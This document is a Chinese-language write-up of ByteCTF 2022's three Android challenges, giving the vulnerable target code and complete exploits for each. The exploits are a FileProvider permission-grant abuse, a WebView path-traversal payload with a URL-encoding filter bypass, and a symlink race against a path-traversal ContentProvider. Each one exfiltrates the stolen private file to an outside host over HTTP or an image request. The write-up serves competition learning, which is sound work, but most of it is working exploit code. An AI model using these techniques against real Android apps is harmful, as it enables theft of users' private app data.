ByteCTF 2022 Android Writeup

Android

这次 ByteCTF 2022 AK 了 Android 方向的题目,其中 Gold Droid 为一血且一解,可能是 Google 上没有相关资料,且代码内容为 Google 官方示例,通过自行思考并解决还是比较开心的~

本次有些内容与去年的比赛相关,这里不再赘述,可以参考之前的 Writeup

解题目标说明

  • Bronze Droid:提供一个 APP,远程安装并运行我们提供的 APP,要求窃取到目标应用私有目录下的 flag 文件
  • Silver Droid:提供一个 链接,要求窃取到目标应用私有目录下的 flag 文件
  • Gold Droid:提供一个 APP,远程安装并运行我们提供的 APP,要求窃取到目标应用私有目录下的 flag 文件

Bronze Droid

让目标授权我们读取 flag,有点坑的地方是访问目录从根目录开始

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
    public void httpGet(String msg) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                HttpURLConnection connection = null;
                BufferedReader reader = null;
                try {
                    URL url = new URL("http://IP:PORT/flag?flag=" + msg);
                    connection = (HttpURLConnection) url.openConnection();
                    connection.setRequestMethod("GET");
                    connection.getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    @RequiresApi(api = Build.VERSION_CODES.Q)
    private String readUri(Uri uri) {
        InputStream inputStream = null;
        try {
            ContentResolver contentResolver = getContentResolver();
            inputStream = contentResolver.openInputStream(uri);
            if (inputStream != null) {
                byte[] buffer = new byte[1024];
                int result;
                String content = "";
                while ((result = inputStream.read(buffer)) != -1) {
                    content = content.concat(new String(buffer, 0, result));
                }
                return content;
            }
        } catch (IOException e) {
            Log.e("receiver", "IOException when reading uri", e);
        } finally {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (IOException e) {
                    Log.e("receiver", "IOException when closing stream", e);
                }
            }
        }
        return null;
    }

    public void poc() {
        Intent next = new Intent("ACTION_SHARET_TO_ME");
        next.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");

        Uri myUrl = Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag");
        next.setData(myUrl);
        next.setClipData(ClipData.newRawUri("", myUrl));
        next.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        startActivityForResult(next, 0);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {

        if (resultCode == -1) {
            Uri returnUri = data.getData();
            httpGet(readUri(returnUri));
        }
        super.onActivityResult(requestCode, resultCode, data);
    }

Silver Droid

题目分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.bytectf.silverdroid;

import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;

public class MainActivity extends AppCompatActivity {
    @Override  // androidx.fragment.app.FragmentActivity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(0x7F0B001C);  // layout:activity_main
        Uri uri0 = this.getIntent().getData();
        if(uri0 != null) {
            WebView webView = new WebView(this.getApplicationContext());
            webView.setWebViewClient(new WebViewClient() {
                @Override  // android.webkit.WebViewClient
                public boolean shouldOverrideUrlLoading(WebView view, String url) {
                    try {
                        Uri uri0 = Uri.parse(url);
                        Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");
                        if(uri0.getScheme().equals("https")) {
                            return !uri0.getHost().endsWith(".myqcloud.com");
                        }
                    }
                    catch(Exception unused_ex) {
                        return;
                    }

                    return true;
                }
            });
            webView.setWebViewClient(new WebViewClient() {
                @Override  // android.webkit.WebViewClient
                public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
                    FileInputStream inputStream;
                    Uri uri0 = request.getUrl();
                    if(uri0.getPath().startsWith("/local_cache/")) {
                        File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
                        if(cacheFile.exists()) {
                            try {
                                inputStream = new FileInputStream(cacheFile);
                            }
                            catch(IOException unused_ex) {
                                return;
                            }

                            HashMap headers = new HashMap();
                            headers.put("Access-Control-Allow-Origin", "*");
                            return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
                        }
                    }

                    return super.shouldInterceptRequest(view, request);
                }
            });
            this.setContentView(webView);
            webView.getSettings().setJavaScriptEnabled(true);
            webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);
        }
    }
}

题目限制

  1. 这道题没有给我们执行 APP 的权限,只能够向此 APP 传入一个 URL,通过与 https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url= 拼接得到执行
  2. 页面读取 GET 参数,判断并跳转到目标页面,禁止了 URL 中存在 myqclound 内容
  3. shouldOverrideUrlLoading 这里限制了访问页面域名必须是以 .myqcloud.com 结尾,这里开头带有点,难以绕过
  4. shouldInterceptRequest 检测 /local_cache/ 并进行缓存数据读取,存在路径穿越漏洞

跳转页面源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<h1>jump</h1>
<script>
    function getQueryVariable(variable)
    {
        var query = window.location.search.substring(1);
        var vars = query.split("&");
        for (var i=0;i<vars.length;i++) {
            var pair = vars[i].split("=");
            if(pair[0] == variable){return pair[1];}
        }
        return(false);
    }
    var myurl = getQueryVariable("url").toString().toLowerCase();
    if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) {
        window.location.href = myurl;
    }
</script>

漏洞利用

  1. 通过 hint 得知,可以申请腾讯 COS 来绕过程序内对页面的限制,但是如果要跳转执行,还需要绕过页面对 myqcloud 的检测,这里随便选取一个字符 URL 编码即可绕过,访问页面时 Webview 会进行解码
  2. 在腾讯 COS 上放置我们的代码,并且使用 JS 可以访问 /local_cache/ 并被接管,这里存在路径穿越,可以穿越到 flag 并读取
  3. 使用 IMG 对象把 flag 带出,由于软件要求协议为 https,所以需要在某个有 https 的服务器上接收 flag(查看日志)

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<h1 id="wjh">TEST</h1>
<img id="img" src="" width="300"/><br>


<script>
request_url = "https://xxxxxx.cos-website.ap-shanghai.myqcloud.com/local_cache/%2F..%2Ffiles%2Fflag"
var request = new XMLHttpRequest();
request.open('GET', request_url);
request.onload = function () {
	var img = document.getElementById("img");
    if (request.readyState === 4 && request.status === 200) {
        img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.responseText);
	}
	//img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.status);
};
request.send(null);
</script>

Gold Droid

题目分析

程序实现了一个 ContentProvider,并且实现了 openFile 功能

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.bytectf.golddroid;

import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;

public class VulProvider extends ContentProvider {
    @Override  // android.content.ContentProvider
    public int delete(Uri uri, String selection, String[] selectionArgs) {
        return 0;
    }

    @Override  // android.content.ContentProvider
    public String getType(Uri uri) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public Uri insert(Uri uri, ContentValues values) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public boolean onCreate() {
        return false;
    }

    @Override  // android.content.ContentProvider
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        File file0 = this.getContext().getExternalFilesDir("sandbox");
        File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
        try {
            if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) {
                throw new IllegalArgumentException();
            }
        }
        catch(IOException unused_ex) {
            return;
        }

        return ParcelFileDescriptor.open(file, 0x10000000);
    }

    @Override  // android.content.ContentProvider
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
        return 0;
    }
}

在 Manifest 中导出了这个类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<manifest android:compileSdkVersion="32" android:compileSdkVersionCodename="12" android:versionCode="1" android:versionName="1.0" package="com.bytectf.golddroid" platformBuildVersionCode="32" platformBuildVersionName="12" xmlns:android="http://schemas.android.com/apk/res/android">
  <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/>
  <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:debuggable="true" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GoldDroid">
    <activity android:exported="true" android:name="com.bytectf.golddroid.MainActivity">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
      </intent-filter>
    </activity>
    <provider android:authorities="slipme" android:exported="true" android:name="com.bytectf.golddroid.VulProvider"/>
    <receiver android:exported="false" android:name="com.bytectf.golddroid.FlagReceiver">
      <intent-filter>
        <action android:name="com.bytectf.SET_FLAG"/>
      </intent-filter>
    </receiver>
    <provider android:authorities="com.bytectf.golddroid.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
      <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
      <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
    </provider>
  </application>
</manifest>

顺便一提的是,这里的 openFile 写法是 Google 的示例代码 Path Traversal 漏洞

1
2
3
4
5
6
7
8
public ParcelFileDescriptor openFile (Uri uri, String mode)
   throws FileNotFoundException {
 File f = new File(DIR, uri.getLastPathSegment());
 if (!f.getCanonicalPath().startsWith(DIR)) {
   throw new IllegalArgumentException();
 }
 return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}

漏洞利用

  1. 可以通过 getLastPathSegment 产生路径穿越,穿越到其他文件,这里选择穿越到我们的软链接
  2. getCanonicalPath 会读取软链接并且显示真实的地址,所以我们起初可以软链接到 sandbox 下的文件,并且通过检测
  3. 通过条件竞争,在通过检测后,ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY) 前,替换软链接到 flag 文件
  4. 当返回 ParcelFileDescriptor 为 flag 文件时,我们可以读取 flag 文件并且得到 flag

具体实现

  1. 线程 1:不断的软链接到 sandbox/file1
  2. 线程 2:不断的软链接到 flag
  3. 主线程:不断的调用 openFile 得到 ParcelFileDescriptor 读取文件

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package com.bytectf.pwngolddroid;

import androidx.appcompat.app.AppCompatActivity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;


public class MainActivity extends AppCompatActivity {
    String symlink;

    public void httpGet(String msg) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                HttpURLConnection connection = null;
                BufferedReader reader = null;
                try {
                    URL url = new URL("http://IP:PORT/flag?flag=" + msg);
                    connection = (HttpURLConnection) url.openConnection();
                    connection.setRequestMethod("GET");
                    connection.getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    private String readUri(Uri uri) {
        InputStream inputStream = null;
        try {
            ContentResolver contentResolver = getContentResolver();
            inputStream = contentResolver.openInputStream(uri);
            if (inputStream != null) {
                byte[] buffer = new byte[1024];
                int result;
                String content = "";
                while ((result = inputStream.read(buffer)) != -1) {
                    content = content.concat(new String(buffer, 0, result));
                }
                return content;
            }
        } catch (IOException e) {
            Log.e("receiver", "IOException when reading uri", e);
        } catch (IllegalArgumentException e) {
            //Log.e("receiver", "IllegalArgumentException", e);
        } finally {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (IOException e) {
                    Log.e("receiver", "IOException when closing stream", e);
                }
            }
        }
        return null;
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        String root = getApplicationInfo().dataDir;
        symlink = root + "/symlink";
        try {

            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
        new Thread(() -> {
            while (true) {
                try {
                    Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(() -> {
            while (true) {
                try {
                    Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();


        while (true) {
            try {
                String data = readUri(Uri.parse(path));
                if (data != null)
                {
                    Log.e("WJH", data);
                    httpGet(data);
                }
            } catch (Exception e) {
                httpGet(e.getMessage());
            }
        }

    }
}
0%